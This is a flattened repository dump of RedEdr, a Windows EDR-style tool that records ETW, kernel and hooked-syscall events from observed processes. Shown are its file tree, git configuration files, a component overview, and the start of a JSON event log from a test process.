Repository: dobin/RedEdr Branch: master Commit: 95061ac1a6f2 Files: 146 Total size: 2.3 MB Directory structure: gitextract_ihdwzsgx/ ├── .gitattributes ├── .gitignore ├── CLAUDE.md ├── Data/ │ ├── dostuff.events.json │ └── generator.txt ├── Doc/ │ ├── api.md │ └── notes.md ├── LICENSE.txt ├── README.md ├── RedEdr/ │ ├── RedEdr.cpp │ ├── RedEdr.vcxproj │ ├── RedEdr.vcxproj.filters │ ├── config.cpp │ ├── config.h │ ├── cxxops.hpp │ ├── design.css │ ├── dllinjector.cpp │ ├── dllinjector.h │ ├── dllreader.cpp │ ├── dllreader.h │ ├── etwreader.cpp │ ├── etwreader.h │ ├── event_aggregator.cpp │ ├── event_aggregator.h │ ├── event_augmenter.cpp │ ├── event_augmenter.h │ ├── event_processor.cpp │ ├── event_processor.h │ ├── httplib.h │ ├── index.html │ ├── jsonw.hpp │ ├── kernelinterface.cpp │ ├── kernelinterface.h │ ├── kernelreader.cpp │ ├── kernelreader.h │ ├── logging.cpp │ ├── logging.h │ ├── logreader.cpp │ ├── logreader.h │ ├── manager.cpp │ ├── manager.h │ ├── packages.config │ ├── pplmanager.cpp │ ├── pplmanager.h │ ├── pplreader.cpp │ ├── pplreader.h │ ├── privileges.cpp │ ├── privileges.h │ ├── serviceutils.cpp │ ├── serviceutils.h │ ├── shared.js │ ├── webserver.cpp │ └── webserver.h ├── RedEdr.sln ├── RedEdrDll/ │ ├── RedEdrDll.filters │ ├── RedEdrDll.vcxproj │ ├── RedEdrDll.vcxproj.filters │ ├── detours.h │ ├── detours.lib │ ├── dllhelper.cpp │ ├── dllhelper.h │ ├── dllmain.cpp │ ├── framework.h │ ├── logging.cpp │ └── logging.h ├── RedEdrDriver/ │ ├── Driver.c │ ├── MyDumbEDRDriver.inf │ ├── RedEdrDriver.inf │ ├── RedEdrDriver.vcxproj │ ├── RedEdrDriver.vcxproj.filters │ ├── hashcache.c │ ├── hashcache.h │ ├── kapcinjector.c │ ├── kapcinjector.h │ ├── kcallbacks.c │ ├── kcallbacks.h │ ├── settings.c │ ├── settings.h │ ├── upipe.c │ ├── upipe.h │ ├── utils.c │ └── utils.h ├── RedEdrPplService/ │ ├── README.md │ ├── RedEdrPplService.cpp │ ├── RedEdrPplService.vcxproj │ ├── RedEdrPplService.vcxproj.filters │ ├── control.cpp │ ├── control.h │ ├── emitter.cpp │ ├── emitter.h │ ├── etwtihandler.cpp │ ├── etwtihandler.h │ ├── etwtireader.cpp │ ├── etwtireader.h │ ├── logging.cpp │ ├── logging.h │ ├── packages.config │ └── uthash.h ├── RedEdrShared/ │ ├── RedEdrShared.vcxproj │ ├── RedEdrShared.vcxproj.filters │ ├── etw_krabs.cpp │ ├── etw_krabs.h │ ├── json.hpp │ ├── loguru.cpp │ ├── loguru.hpp │ ├── mypeb.h │ ├── myprocess.cpp │ ├── myprocess.h │ ├── packages.config │ ├── piping.cpp │ ├── piping.h │ ├── process_mem_static.cpp │ ├── process_mem_static.h │ ├── process_query.cpp │ ├── process_query.h │ ├── process_resolver.cpp │ ├── process_resolver.h │ ├── ranges.cpp │ ├── ranges.h │ ├── utils.cpp │ └── utils.h ├── RedEdrTester/ │ ├── RedEdrTester.cpp │ ├── RedEdrTester.vcxproj │ ├── RedEdrTester.vcxproj.filters │ └── packages.config ├── Shared/ │ └── common.h ├── UnitTests/ │ ├── UnitTestAnalyzer.cpp │ ├── UnitTestEventProducer.cpp │ ├── UnitTestProcessInfo.cpp │ ├── UnitTestRanges.cpp │ ├── UnitTests.cpp │ ├── UnitTests.vcxproj │ ├── UnitTests.vcxproj.filters │ ├── logging.cpp │ ├── logging.h │ └── notepad.json ├── azure_config.json.sample ├── azure_upload.ps1 ├── elam_driver/ │ ├── elam_driver.c │ ├── elam_driver.rc │ ├── elam_driver.vcxproj │ └── elam_driver.vcxproj.Filters ├── generate_cert.ps1 ├── rededr_ppl.pfx ├── rededr_test.ps1 └── sign_file.ps1 ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ ############################################################################### # Set default behavior to automatically normalize line endings. ############################################################################### * text=auto ############################################################################### # Set default behavior for command prompt diff. # # This is need for earlier builds of msysgit that does not have it on by # default for csharp files. # Note: This is only used by command line ############################################################################### #*.cs diff=csharp ############################################################################### # Set the merge driver for project and solution files # # Merging from the command prompt will add diff markers to the files if there # are conflicts (Merging from VS is not affected by the settings below, in VS # the diff markers are never inserted). Diff markers may cause the following # file extensions to fail to load in VS. An alternative would be to treat # these files as binary and thus will always conflict and require user # intervention with every merge. To do so, just uncomment the entries below ############################################################################### #*.sln merge=binary #*.csproj merge=binary #*.vbproj merge=binary #*.vcxproj merge=binary #*.vcproj merge=binary #*.dbproj merge=binary #*.fsproj merge=binary #*.lsproj merge=binary #*.wixproj merge=binary #*.modelproj merge=binary #*.sqlproj merge=binary #*.wwaproj merge=binary ############################################################################### # behavior for image files # # image files are treated as binary by default. ############################################################################### #*.jpg binary #*.png binary #*.gif binary ############################################################################### # diff behavior for common document formats # # Convert binary document formats to text before diffing them. This feature # is only available from the command line. Turn it on by uncommenting the # entries below. ############################################################################### #*.doc diff=astextplain #*.DOC diff=astextplain #*.docx diff=astextplain #*.DOCX diff=astextplain #*.dot diff=astextplain #*.DOT diff=astextplain #*.pdf diff=astextplain #*.PDF diff=astextplain #*.rtf diff=astextplain #*.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. ## ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore todo.txt azure_config.json # User-specific files *.rsuser *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Mono auto generated files mono_crash.* # Build results [Dd]ebug/ [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ [Ww][Ii][Nn]32/ [Aa][Rr][Mm]/ [Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Oo]ut/ [Ll]og/ [Ll]ogs/ # Visual Studio 2015/2017 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # Visual Studio 2017 auto generated files Generated\ Files/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUnit *.VisualState.xml TestResult.xml nunit-*.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # Benchmark Results BenchmarkDotNet.Artifacts/ # .NET Core project.lock.json project.fragment.lock.json artifacts/ # ASP.NET Scaffolding ScaffoldingReadMe.txt # StyleCop StyleCopReport.xml # Files built by Visual Studio *_i.c *_p.c *_h.h *.ilk *.meta *.obj *.iobj *.pch *.pdb *.ipdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *_wpftmp.csproj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # Visual Studio Trace Files *.e2e # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # AxoCover is a Code Coverage Tool .axoCover/* !.axoCover/settings.json # Coverlet is a free, cross platform Code Coverage Tool coverage*.json coverage*.xml coverage*.info # Visual Studio code coverage results *.coverage *.coveragexml # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, # but database connection strings (with potential passwords) will be unencrypted *.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # NuGet Symbol Packages *.snupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. !**/[Pp]ackages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/[Pp]ackages/repositories.config # NuGet v3's project.json files produces more ignorable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx *.appxbundle *.appxupload # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !?*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm #*.pfx *.publishsettings orleans.codegen.cs # Including strong name files can present a security risk # (https://github.com/github/gitignore/pull/2483#issue-259490424) #*.snk # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm ServiceFabricBackup/ *.rptproj.bak # SQL Server files *.mdf *.ldf *.ndf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings *.rptproj.rsuser *- [Bb]ackup.rdl *- [Bb]ackup ([0-9]).rdl *- [Bb]ackup ([0-9][0-9]).rdl # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat node_modules/ # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) *.vbw # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # CodeRush personal settings .cr/personal # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc # Cake - Uncomment if you are using it # tools/** # !tools/packages.config # Tabs Studio *.tss # Telerik's JustMock configuration file *.jmconfig # BizTalk build output *.btp.cs *.btm.cs *.odx.cs *.xsd.cs # OpenCover UI analysis results OpenCover/ # Azure Stream Analytics local run output ASALocalRun/ # MSBuild Binary and Structured Log *.binlog # NVidia Nsight GPU debugger configuration file *.nvuser # MFractors (Xamarin productivity tool) working folder .mfractor/ # Local History for Visual Studio .localhistory/ # BeatPulse healthcheck temp database healthchecksdb # Backup folder for Package Reference Convert tool in Visual Studio 2017 MigrationBackup/ # Ionide (cross platform F# VS Code tools) working folder .ionide/ # Fody - auto-generated XML schema FodyWeavers.xsd ================================================ FILE: CLAUDE.md ================================================ # RedEdr RedEdr will record the events generated by a process. Either its ETW (-TI) events, or use ntdll hooking to record the syscalls. It will gather more information about the process as needed. ## Project Structure RedEdr is intended to be run as a long running process or service, which observes processes based on their names. It consists of different components: * RedEdr: Records ETW, provides command line interface and web UI, and manages and orchastrates the other components * RedEdrDll: The DLL which will be injected in processes for hooking. Used by RedEdrDriver * RedEdrPplService: Records ETW-TI data as PPL * RedEdrDriver: Records kernel events, and performs DLL injection * RedEdrTester: Debug project to test some parts of RedEdr * elam_driver: An empty driver signed with a certificate. Required to load RedEdrPplService * Shared: C defines usable by all components * RedEdrShared: Some code shared by some components The communication between components is implemented using Windows pipes. ================================================ FILE: Data/dostuff.events.json ================================================ [{"callback":"process_create","id":0,"krn_pid":8500,"name":"\\Device\\HarddiskVolume2\\Users\\hacker\\source\\repos\\RedEdr\\x64\\Debug\\RedEdrTester.exe","observe":1,"parent_name":"\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","pid":1208,"ppid":8500,"time":133791868973812041,"trace_id":41,"type":"kernel"},{"callback":"thread_create","create":1,"id":1,"krn_pid":8500,"pid":1208,"threadid":6916,"time":133791868973822044,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":2,"image":"\\Device\\HarddiskVolume2\\Users\\hacker\\source\\repos\\RedEdr\\x64\\Debug\\RedEdrTester.exe","krn_pid":1208,"pid":1208,"time":133791868973822044,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":3,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\ntdll.dll","krn_pid":1208,"pid":1208,"time":133791868973822044,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":4,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\kernel32.dll","krn_pid":1208,"pid":1208,"time":133791868973822044,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":5,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\KernelBase.dll","krn_pid":1208,"pid":1208,"time":133791868973822044,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":6,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\advapi32.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":7,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcrt.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"thread_create","create":1,"id":8,"krn_pid":1208,"pid":1208,"threadid":11092,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":9,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\sechost.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":10,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\rpcrt4.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":11,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\bcrypt.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":12,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcp140d.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":13,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\ole32.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"dlls":[{"addr":140700730916864,"name":"RedEdrTester.exe","size":1630208},{"addr":140722540838912,"name":"ntdll.dll","size":2064384},{"addr":140722507939840,"name":"KERNEL32.DLL","size":794624},{"addr":140722497912832,"name":"KERNELBASE.dll","size":3137536},{"addr":140722518163456,"name":"ADVAPI32.dll","size":724992},{"addr":140722520195072,"name":"msvcrt.dll","size":647168},{"addr":140722529697792,"name":"sechost.dll","size":651264},{"addr":140722510561280,"name":"RPCRT4.dll","size":1191936},{"addr":140722502238208,"name":"bcrypt.dll","size":159744}],"id":14,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"loaded_dll"},{"callback":"image_load","id":15,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\ucrtbase.dll","krn_pid":1208,"pid":1208,"time":133791868973842059,"trace_id":41,"type":"kernel"},{"commandline":"\"C:\\Users\\hacker\\source\\repos\\RedEdr\\x64\\Debug\\RedEdrTester.exe\" dostuff","id":16,"image_base":140700730916864,"image_path":"C:\\Users\\hacker\\source\\repos\\RedEdr\\x64\\Debug\\RedEdrTester.exe","is_debugged":0,"is_protected_process":0,"is_protected_process_light":0,"parent_pid":-3689348818177875660,"time":133791868973842059,"trace_id":41,"type":"peb","working_dir":"C:\\Users\\hacker\\source\\repos\\RedEdr\\"},{"callback":"image_load","id":17,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\combase.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":18,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\gdi32.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":19,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\win32u.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":20,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\gdi32full.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":21,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcp_win.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":22,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\user32.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":23,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\vcruntime140d.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":24,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\vcruntime140_1d.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":25,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\ucrtbased.dll","krn_pid":1208,"pid":1208,"time":133791868973852040,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":26,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\imm32.dll","krn_pid":1208,"pid":1208,"time":133791868973872050,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":27,"image":"\\Device\\HarddiskVolume2\\RedEdr\\RedEdrDll.dll","krn_pid":1208,"pid":1208,"time":133791868973882045,"trace_id":41,"type":"kernel"},{"callback":"image_load","id":28,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\dbghelp.dll","krn_pid":1208,"pid":1208,"time":133791868973892035,"trace_id":41,"type":"kernel"},{"callback":"thread_create","create":1,"id":29,"krn_pid":1208,"pid":1208,"threadid":3196,"time":133791868973902041,"trace_id":41,"type":"kernel"},{"func":"hooking_start","id":30,"pid":1208,"tid":6916,"trace_id":41,"type":"dll"},{"func":"hooking_finished","id":31,"pid":1208,"tid":6916,"trace_id":41,"type":"dll"},{"addr":2470295011328,"alloc_type":4096,"func":"NtAllocateVirtualMemory","handle":-1,"id":32,"pid":1208,"protect":"RW-","return":0,"size":8192,"size_req":8192,"tid":6916,"time":133791868973902041,"trace_id":41,"type":"dll","zero":0},{"addr":2470295019520,"alloc_type":4096,"func":"NtAllocateVirtualMemory","handle":-1,"id":33,"pid":1208,"protect":"RW-","return":0,"size":4096,"size_req":4096,"tid":6916,"time":133791868973902041,"trace_id":41,"type":"dll","zero":0},{"addr":2470294257664,"alloc_type":12288,"func":"NtAllocateVirtualMemory","handle":-1,"id":34,"pid":1208,"protect":"RW-","return":0,"size":4096,"size_req":3,"tid":6916,"time":133791868979062050,"trace_id":41,"type":"dll","zero":0},{"callback":"image_load","id":35,"image":"\\Device\\HarddiskVolume2\\Windows\\System32\\bcryptprimitives.dll","krn_pid":1208,"pid":1208,"time":133791868979062050,"trace_id":41,"type":"kernel"},{"addr":2470294257664,"callstack":[{"addr":140721970334572,"addr_info":"Unknown","idx":0,"page_addr":140721970331648,"protect":"R-X","size":139264,"state":1662004296,"type":"IMAGE"},{"addr":140721970362881,"addr_info":"Unknown","idx":1,"page_addr":140721970360320,"protect":"R-X","size":110592,"state":1662004296,"type":"IMAGE"},{"addr":140722498356982,"addr_info":"KERNELBASE.dll:.text","idx":2,"page_addr":140722498355200,"protect":"R-X","size":843776,"state":1662004296,"type":"IMAGE"},{"addr":140700732029427,"addr_info":"RedEdrTester.exe:.text","idx":3,"page_addr":140700732026880,"protect":"R-X","size":159744,"state":1662004296,"type":"IMAGE"},{"addr":140700732031462,"addr_info":"RedEdrTester.exe:.text","idx":4,"page_addr":140700732030976,"protect":"R-X","size":155648,"state":1662004296,"type":"IMAGE"},{"addr":140700732110521,"addr_info":"RedEdrTester.exe:.text","idx":5,"page_addr":140700732108800,"protect":"R-X","size":77824,"state":1662004296,"type":"IMAGE"}],"func":"NtProtectVirtualMemory","handle":-1,"id":36,"pid":1208,"protect":"RWX","return":0,"size":4096,"tid":6916,"time":133791868979062050,"trace_id":41,"type":"dll"},{"callback":"thread_create","create":1,"id":37,"krn_pid":1208,"pid":1208,"threadid":5680,"time":133791868979492052,"trace_id":41,"type":"kernel"},{"argument":2470294257664,"callstack":[{"addr":140721970334572,"addr_info":"Unknown","idx":0,"page_addr":140721970331648,"protect":"R-X","size":139264,"state":1662004296,"type":"IMAGE"},{"addr":140721970351516,"addr_info":"Unknown","idx":1,"page_addr":140721970348032,"protect":"R-X","size":122880,"state":1662004296,"type":"IMAGE"},{"addr":140722498157487,"addr_info":"KERNELBASE.dll:.text","idx":2,"page_addr":140722498154496,"protect":"R-X","size":1044480,"state":1662004296,"type":"IMAGE"},{"addr":140722508052765,"addr_info":"KERNEL32.DLL:.text","idx":3,"page_addr":140722508050432,"protect":"R-X","size":421888,"state":1662004296,"type":"IMAGE"},{"addr":140700732029491,"addr_info":"RedEdrTester.exe:.text","idx":4,"page_addr":140700732026880,"protect":"R-X","size":159744,"state":1662004296,"type":"IMAGE"},{"addr":140700732031462,"addr_info":"RedEdrTester.exe:.text","idx":5,"page_addr":140700732030976,"protect":"R-X","size":155648,"state":1662004296,"type":"IMAGE"}],"func":"NtCreateThreadEx","handle":-1,"id":38,"pid":1208,"start_routine":2470294257664,"thread_handle":376,"tid":6916,"time":133791868979492052,"trace_id":41,"type":"dll"},{"desired_access":2031619,"event_type":0,"func":"NtCreateEvent","id":39,"initial_state":0,"pid":1208,"tid":5680,"time":133791868979502041,"trace_id":41,"type":"dll"},{"desired_access":2031619,"event_type":0,"func":"NtCreateEvent","id":40,"initial_state":0,"pid":1208,"tid":5680,"time":133791868979502041,"trace_id":41,"type":"dll"},{"access_mask":983047,"alloc_attributes":134217728,"callstack":[{"addr":140721970334572,"addr_info":"Unknown","idx":0,"page_addr":140721970331648,"protect":"R-X","size":139264,"state":1662004296,"type":"IMAGE"},{"addr":140721970348392,"addr_info":"Unknown","idx":1,"page_addr":140721970348032,"protect":"R-X","size":122880,"state":1662004296,"type":"IMAGE"},{"addr":140722498144289,"addr_info":"KERNELBASE.dll:.text","idx":2,"page_addr":140722498142208,"protect":"R-X","size":1056768,"state":1662004296,"type":"IMAGE"},{"addr":140722498145856,"addr_info":"KERNELBASE.dll:.text","idx":3,"page_addr":140722498142208,"protect":"R-X","size":1056768,"state":1662004296,"type":"IMAGE"},{"addr":140722508405615,"addr_info":"KERNEL32.DLL:.text","idx":4,"page_addr":140722508402688,"protect":"R-X","size":69632,"state":1662004296,"type":"IMAGE"},{"addr":140722508405142,"addr_info":"KERNEL32.DLL:.text","idx":5,"page_addr":140722508402688,"protect":"R-X","size":69632,"state":1662004296,"type":"IMAGE"}],"file_handle":0,"func":"NtCreateSection","id":41,"max_size":686538352688,"page_protection":4,"pid":1208,"section_handle":408,"tid":5680,"time":133791868979502041,"trace_id":41,"type":"dll"},{"alloc_type":0,"base_address":0,"callstack":[{"addr":140721970334572,"addr_info":"Unknown","idx":0,"page_addr":140721970331648,"protect":"R-X","size":139264,"state":1662004296,"type":"IMAGE"},{"addr":140721970358498,"addr_info":"Unknown","idx":1,"page_addr":140721970356224,"protect":"R-X","size":114688,"state":1662004296,"type":"IMAGE"},{"addr":140722498355462,"addr_info":"KERNELBASE.dll:.text","idx":2,"page_addr":140722498355200,"protect":"R-X","size":843776,"state":1662004296,"type":"IMAGE"},{"addr":140722498355166,"addr_info":"KERNELBASE.dll:.text","idx":3,"page_addr":140722498351104,"protect":"R-X","size":847872,"state":1662004296,"type":"IMAGE"},{"addr":140722508405678,"addr_info":"KERNEL32.DLL:.text","idx":4,"page_addr":140722508402688,"protect":"R-X","size":69632,"state":1662004296,"type":"IMAGE"},{"addr":140722508405142,"addr_info":"KERNEL32.DLL:.text","idx":5,"page_addr":140722508402688,"protect":"R-X","size":69632,"state":1662004296,"type":"IMAGE"}],"func":"NtMapViewOfSection","handle":-1,"id":42,"inherit_disposition":1,"pid":1208,"protect":"RW-","section_handle":408,"section_offset":0,"size":0,"tid":5680,"time":133791868979502041,"trace_id":41,"type":"dll","view_size":0,"zero_bits":0},{"addr":2470294519808,"alloc_type":4096,"func":"NtAllocateVirtualMemory","handle":-1,"id":43,"pid":1208,"protect":"RW-","return":0,"size":4096,"size_req":12,"tid":5680,"time":133791868979512065,"trace_id":41,"type":"dll","zero":0},{"DefaultBase":"00007FF771160000","ImageBase":"00007FF771160000","ImageCheckSum":"0","ImageName":"\\Device\\HarddiskVolume2\\Users\\hacker\\source\\repos\\RedEdr\\x64\\Debug\\RedEdrTester.exe","ImageSize":"000000000018E000","ProcessID":"1208","TimeDateStamp":"1734703906","event":"ImageLoadInfo ","id":44,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801355267,18446735283801354603,18446735283798965368,18446735283798965216,140722541153392],"thread_id":6916,"time":133791868973826131,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC850F0000","ImageBase":"00007FFC850F0000","ImageCheckSum":"2047181","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ntdll.dll","ImageSize":"00000000001F8000","ProcessID":"1208","TimeDateStamp":"1754238027","event":"ImageLoadInfo ","id":45,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801355528,18446735283801354603,18446735283798965368,18446735283798965216,140722541153392],"thread_id":6916,"time":133791868973826763,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83190000","ImageBase":"00007FFC83190000","ImageCheckSum":"811940","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\kernel32.dll","ImageSize":"00000000000C2000","ProcessID":"1208","TimeDateStamp":"2273328705","event":"ImageLoadInfo ","id":46,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722541282029,140722540968753,140722540934116,140722540931828,140722541705166,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973830298,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82800000","ImageBase":"00007FFC82800000","ImageCheckSum":"3204207","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\KernelBase.dll","ImageSize":"00000000002FE000","ProcessID":"1208","TimeDateStamp":"3522100337","event":"ImageLoadInfo ","id":47,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722541282029,140722540968753,140722540934116,140722540931828,140722541705166,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973831893,"trace_id":41,"type":"etw"},{"addr":2470294519808,"free_type":8000,"func":"NtFreeVirtualMemory","handle":-1,"id":48,"pid":1208,"return":0,"size":4096,"size_req":12,"tid":5680,"time":133791868979782053,"trace_id":41,"type":"dll"},{"DefaultBase":"00007FFC83B50000","ImageBase":"00007FFC83B50000","ImageCheckSum":"766771","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\advapi32.dll","ImageSize":"00000000000B1000","ProcessID":"1208","TimeDateStamp":"187986496","event":"ImageLoadInfo ","id":49,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973843604,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83D40000","ImageBase":"00007FFC83D40000","ImageCheckSum":"681663","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcrt.dll","ImageSize":"000000000009E000","ProcessID":"1208","TimeDateStamp":"2616593924","event":"ImageLoadInfo 